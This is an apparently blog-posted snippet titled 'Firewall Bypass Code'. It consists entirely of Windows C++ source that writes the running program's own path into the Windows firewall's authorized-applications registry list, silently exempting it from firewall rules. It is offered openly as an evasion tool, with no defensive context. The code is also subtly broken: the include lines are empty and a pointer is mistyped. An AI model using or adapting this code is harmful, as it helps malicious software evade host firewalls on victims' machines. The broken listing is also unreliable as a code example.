Firewall Bypass Code

Code:
#define WIN32_LEAN_AND_MEAN
#include
#include
#include
using namespace std;

void AddException(string path)
{
   HKEY hk;
   DWORD dw;
   string skey = path + ":*:Enabled:@xpsp2res.dll,-22019";
   RegCreateKeyExA(HKEY_LOCAL_MACHINE,"SYSTEM\\ControlSet001\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile\\AuthorizedApplications\\List",0,NULL,REG_OPTION_NON_VOLATILE,KEY_WRITE,NULL,&hk,&dw);
   RegSetValueExA(hk,path.c_str(),0,REG_SZ,(BYTE*)skey.c_str(),(DWORD)skey.length());
   RegCloseKey(hk);
}

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
   char  CmdLineA, *Location;
   CmdLineA = GetCommandLineA();
   Location = CmdLineA + 1;
   Location[strlen(Location)-2] = 0;
   AddException(Location);
}

ليست هناك تعليقات:

إرسال تعليق